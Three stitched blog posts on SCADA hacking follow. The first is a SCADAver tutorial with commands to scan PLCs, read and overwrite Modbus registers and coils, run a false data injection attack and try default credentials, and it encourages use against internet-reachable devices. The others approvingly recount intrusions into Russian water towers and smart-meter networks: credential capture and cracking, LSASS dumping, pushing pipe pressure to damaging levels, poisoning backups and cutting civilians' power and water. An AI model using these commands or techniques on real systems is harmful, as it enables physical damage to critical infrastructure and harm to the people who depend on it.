Welcome back, cyberwarriors!

Lately we’ve been seeing more reports on attacks against industrial facilities. It’s often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they don’t know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.

There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. That’s why we’ll cover it today.

SCADAver

SCADAver is a new tool written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.

This project is still experimental. It’s built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And it’s not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.

Setting Up

We’ll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.

ubuntu > curl https://github.com/Whispergate/SCADAVER/releases/download/v1.5.1/scadaver-linux-x86_64

ubuntu > mv scadaver-linux-x86_64 scadaver
ubuntu > mv scadaver /usr/bin

Working with SCADAver

We’ll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.

First let’s list the help menu and see what the tool has:

ubuntu > scadaver -h 

As you can see, we’ve got commands here. Each command has its own help menu where you’ll find more information on exploits and other flags. You’ll see it later.

Siemens S7 – Basics 

Let’s do a basic scan of a Siemens system and see what the tool comes back with.

# a basic scan 
ubuntu > scadaver -i IP scan

# a stealthy scan
ubuntu > scadaver -z -i IP scan

It found port 102 open, and it was Siemens indeed.

We can also do a protocol specific scan or point it at a custom port if necessary:

ubuntu > scadaver -z -i IP --protocol siemens scan

# or with a custom port 
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan 

Port scanning is also possible. That’ll come in handy when you’re working internally and sweeping networks to find SCADA systems.

ubuntu > scadaver run portscan -i IP

Having covered the basics, we can move on to more interesting stuff and pull some information off this system.

Siemens S7 – Extracting Values

SCADAver can fetch every switch that’s currently on or off on the system. Having a map with human readable labels really helps here, that way you’ll know what each switch is actually responsible for (pump running, valve closed and so on).

ubuntu > scadaver -i IP get io

Say you know a pump is running, now you can find out exactly how it’s supposed to run. We do that with get db, which extracts memory chunks from the device.

ubuntu > scadaver -i IP get db 1 0 64

Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, we’d know that if DB1 holds 1500, the program wants 1500 rpm, for example.

Modbus – Changing Values

We’re not limited to reading only, we can set our own values for registers and coils too. Here are some examples:

ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1

Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.

We can pull this off too:

ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20

With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0°C. Only the map tells you what it’s actually responsible for.

As you know, there can be several PLCs in one cabinet, and you need a way to know which one you’re working with. Schneider’s identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. It’s a harmless identity check.

ubuntu > scadaver -i IP run flash-led

These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, it’s authentication gated and prompts you to enter valid credentials. Here’s another run command that’ll test default credentials against HTTP Basic Auth.

ubuntu > scadaver -i IP run default-creds

More exploits and actions that run has can be seen in the help menu:

ubuntu > scadaver run -h 

Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:

ubuntu > scadaver db refs siemens

Browser UI & Terminal UI

In case you don’t like working with the CLI, you can try the other options.

For the Terminal UI run this:

ubuntu > scadaver

And the Browser UI can be set up with this command: 

ubuntu > scadaver web

It will be hosted on http://127.0.0.1:8888

Summary

The developer calls it a unified ICS red team multi tool, and it truly is. It’s handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously it’s still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.

We haven’t covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.

If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.

The post SCADA/ICS/OT Hacking and Security: Hacking with SCADAver first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

We’re continuing our series on SCADA hacking. Today, we’re going to walk through a compromised SCADA system controlling several water towers belonging to a company in Russia. The company was compromised by Cyber Cossacks. The group was trained by OccupyTheWeb to defend Ukraine digitally. Along with the water towers, they gained access to a range of SCADA systems within the organization, from refrigerators to pasteurization systems.

System administrators rarely segment SCADA systems from Active Directory and that helps hackers move laterally once they compromise a vulnerable host. Even though this particular company didn’t have a properly configured AD, the group still managed to compromise all the hosts through password reuse. This example should be useful for both blue and red teams. Let’s take a closer look.

Initial Access

It began with access to a database system. The IT team had made some effort to isolate the machine and none of the local credentials were useful anywhere else. There were no cleartext credentials in the registry, PowerShell history or local files. The host was used for development and maintenance of the company’s database, which was outsourced to a third party provider.

The team used Inveigh to capture NTLMv2 hashes when users tried to connect to nonexistent shares. This tool is similar to Responder, but it works on Windows.

Windows automatically tries to authenticate with the host it thinks is hosting the share, sending NTLMv2 credentials along the way. Once captured, these can be cracked offline later. The image above was pulled from the internet to show what this looks like.

Cracking Hashes

After collecting hashes, they ran hashcat against rockyou.txt. A few passwords cracked, giving them access to an accountant’s machine. That became their pivot. The accountant had local admin rights and after dumping local SAM hashes, the group got the Administrator hashed password, which turned out to be reused across multiple machines and SCADA servers running on Windows 7.

Windows 7 Vulnerabilities

Windows 7 is outdated and lacks the security measures newer systems have, yet it’s still common in SCADA environments. Without LSASS memory dump prevention (LSASS PPL), pulling credentials from it is easy. Using NetExec they dumped LSASS and got the Administrator’s actual password.

Inside the SCADA Server

They used RDP to connect to the SCADA server. It had dashboards showing refrigerators and milk pasteurization systems with visual representations of the system status.

They also found schematics built by the engineering team, like the one below with visual layouts of the system operations.

MasterSCADA

MasterSCADA is a common SCADA management application used across different Russian companies. It often has a default “sa” user and a blank password. This system was no different.

Water Tower Access

The water towers were the most interesting find in this operation. They were part of the same SCADA system. The executives had pictures of the physical towers and their drainage pond. The SCADA interface showed pressure and temperature stats.

As mentioned in Part 1, hacking SCADA isn’t always about destroying the Windows machine it’s hosted on. Hackers need to understand how the system actually works. Research is key here. When you’re dealing with water towers and pipe networks, pushing pressure to the maximum is rarely safe. Most water systems are designed to run between 2 to 4 bar (30 to 60 psi). Spiking the pressure to 5 bar can cause serious damage. Weak pipes might burst, fittings and joints can start leaking and plastic components will just fail under this stress.

At night the risks get even higher, because the demand is low. A pressure increase followed by a valve closing or a pump shutting off can create a water hammer. That pressure wave travels through the system and damages valves at the very least.

That’s what happened here. The group raised the pressure to its maximum and left it there. By the time the facility resumed work in the morning, the pressure had been sitting at critical levels for several hours. This kept happening for several days, causing significant damage before the group wiped everything.

Conclusion

SCADA systems aren’t always secured. Often they aren’t segmented and don’t have unique credentials. From a single foothold, the group moved laterally and compromised the entire organization. Ironically, the vulnerable SCADA server helped the hackers do it without any resistance. SCADA is more than just software, as it connects the physical and digital worlds. Mishandling it can bring real and visible consequences.

If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.

The post SCADA Hacking: Inside Russian SCADA/ICS Facilities, Part 2 first appeared on Hackers Arise.

Welcome back, cyberwarriors!

We continue our series on SCADA system compromise with another breach that recently happened. A while back, another Russian organization was compromised by Cyber Cossacks, a hacker unit in Ukraine.

The team was trained by OccupyTheWeb to defend Ukraine digitally, and every so often they check back in and share what they’ve managed to pull off.

Introduction

The compromised company was established in the early 2000s and mainly worked on designing and implementing integrated solutions for automation and monitoring. For years they directly supported the Russian state by doing business in Crimea.

The same company produced hardware and software for these IoT devices. They were making smart meters, data loggers, PLCs, industrial routers and protocol converters. These products were installed across a wide range of sectors in Russia.

Initial Access and Infection

The company was compromised through a phishing attack, with the payload embedded in an email attachment. Security products can fail to keep up with newer custom RATs that get constantly updated to dodge standard detection methods.

IoT System Monitoring and Interference

Over the course of several days, the group analyzed the target environment’s internal network. They maintained access for approximately six months, monitoring activity and altering certain datasets. They didn’t simply wipe the systems, which would have caused only a temporary impact, the group made changes over an extended period to gradually corrupt the collected data.

This would make the backups poisoned as well. That insured that any system restoration would basically rely on compromised figures.

The group also found images from different locations, which helped them understand the configuration and physical deployment of the hardware.

Here is an example of their systems. The thick cable carries all the data back and forth, while the smaller wires tap into each meter’s output and send it into the controller. Behind the scenes it analyzes those signals and makes sure everything stays within safe limits.

They also shared several types of control cabinets. More sophisticated control panels had compact PLCs with a series of I/O modules snapped onto DIN rails. This setup basically functions as a small industrial control center. The PLC receives data from sensors, makes logical decisions and then triggers specific outputs. All managed in this cabinet.

Impact on Private Consumers

Beyond interfering with commercial systems, the group extended their efforts to installations intended for private consumers. These were smart meters responsible for monitoring water and electricity usage. 

In response to ongoing Russian attacks on Ukrainian energy infrastructure, the group selectively disabled electricity to certain users.

They also interfered with water meters and cut off access to water where it was possible.

These installations were all centrally connected to the main server through antenna links mounted on rooftops and that’s how the hackers could receive telemetry from them.

Impact

Above you can see a part of the redacted list of affected companies in different regions of Russia, mainly in Moscow. Each item in the list represented a node within the system. Changes were made to various parameters. As mentioned earlier, the most strategic part of the attack was poisoning the backups. When the IT department tried to recover from these backups, the restoration brought back corrupted values.

By late June 2025, the company data and the primary systems responsible for processing and managing the connected nodes were destroyed. In total, that affected approximately 3,500 meter installations across Russia.

Conclusion

A good understanding of IoT and industrial control systems with good strategic planning can produce a widespread impact. Instead of just destroying systems, the group sabotaged the entire mechanism of restoration and continuity.

If you want to know how to hack and secure SCADA and IoT systems, we invite you to our training led by OccupyTheWeb.

The post SCADA Hacking and Security – Compromising IoT Systems first appeared on Hackers Arise.